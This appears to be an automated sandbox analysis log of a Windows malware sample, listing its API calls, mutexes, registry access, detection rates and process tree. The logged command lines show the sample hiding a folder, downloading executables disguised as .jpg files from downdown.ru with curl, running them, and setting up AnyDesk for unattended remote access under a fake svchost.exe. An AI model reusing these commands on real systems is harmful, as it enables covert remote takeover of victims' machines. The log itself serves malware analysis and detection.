Source: C:\Intel\driver.exe	Code function: 40_2_0042FB20 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,		40_2_0042FB20
Source: C:\Intel\driver.exe	Code function: 40_2_0040C734 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,		40_2_0040C734

Source: C:\Intel\driver.exe

Code function: 40_2_004042E8 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

40_2_004042E8

Source: C:\Intel\Trays\4t-min64.exe

Code function: 43_2_004205E0 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

43_2_004205E0

Source: C:\Intel\Trays\Trays.exe

Code function: 41_2_00407C5E FreeResource,

41_2_00407C5E

Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt22.lst.4348

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1572:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4912:304:WilStaging_02
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_3
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3440_5796_0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2432:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_6
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_7
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_4
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_5
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_8014_gsystem_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_2728_3124_0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5392:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1892:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_7
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5060:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_6
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5320:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Session\1\ad_connect_queue_3588_2573224360_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_4
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_20
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:304:WilStaging_02
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_21
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_808_2675748819_1_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_7000_2563006802_1_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_24
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5060:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_21
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipc_ipc_svc_buf_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2120:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcstobjmtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3456:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:812:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_29
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1892:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6632:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_connect_queue_2596_2618423021_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_16
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_15
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_2596_3364_14
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcstobjmtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2432:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3456:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_2728_1096_0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5320:304:WilStaging_02
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_8014_lsystem_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2728_2644641245_0_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6028:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6632:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_trace_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3440_1488_0
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_7952_2648798460_0_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_3440_2575070825_0_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_7000_2563006802_0_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_3440_2575070825_1_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2728_2644641245_1_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_7952_2648798460_1_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_808_2675748819_0_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6028:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Local\ad_trace_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_12
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_13
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_3588_1856_14
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1572:120:WilError_03
Source: C:\Intel\Trays\Trays.exe	Mutant created: \Sessions\1\BaseNamedObjects\TrayMinimizer
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5392:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2120:120:WilError_03

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe

File created: C:\Users\user\AppData\Local\Temp\$inst

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "

Source: C:\Intel\Trays\Trays.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\Trays\Trays.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\AnyDesk\AnyDesk.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Intel\dc.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Yv24LkKBY6.exe	Virustotal: Detection: 64%
Source: Yv24LkKBY6.exe	ReversingLabs: Detection: 55%

Source: Yv24LkKBY6.exe	String found in binary or memory: /c echo>>@$&%17\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: curl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: svchost.exe	String found in binary or memory: --install
Source: svchost.exe	String found in binary or memory: --new-install
Source: svchost.exe	String found in binary or memory: AnyDesk-Address:

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe

File read: C:\Users\user\Desktop\Yv24LkKBY6.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Yv24LkKBY6.exe "C:\Users\user\Desktop\Yv24LkKBY6.exe"
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf"
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\driver.exe C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\Trays\Trays.exe "C:\Intel\Trays\Trays.exe" -tray
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\svchost.exe svchost.exe --install C:\Intel\AnyDesk
Source: C:\Intel\Trays\Trays.exe	Process created: C:\Intel\Trays\4t-min64.exe "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-service
Source: C:\Intel\svchost.exe	Process created: C:\Intel\svchost.exe "C:\Intel\svchost.exe" --local-control
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --service
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --control
Source: unknown	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --new-install
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe AnyDesk.exe --set-password _unattended_access
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process created: C:\Intel\AnyDesk\AnyDesk.exe "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\dc.exe C:\Intel\dc.exe /D
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
Source: C:\Intel\dc.exe	Process created: C:\Intel\dc.exe "C:\Intel\dc.exe" /SYS 1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -change -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -h off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
Source: unknown	Process created: C:\Windows\System32\shutdown.exe C:\Windows\system32\shutdown.EXE /s /f /t 0
Source: C:\Windows\System32\shutdown.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf"	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\attrib.exe "C:\Windows\System32\attrib.exe" +s +h C:\Intel	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk	Jump to behavior
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Intel\curl.exe C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg	Jump to behavior
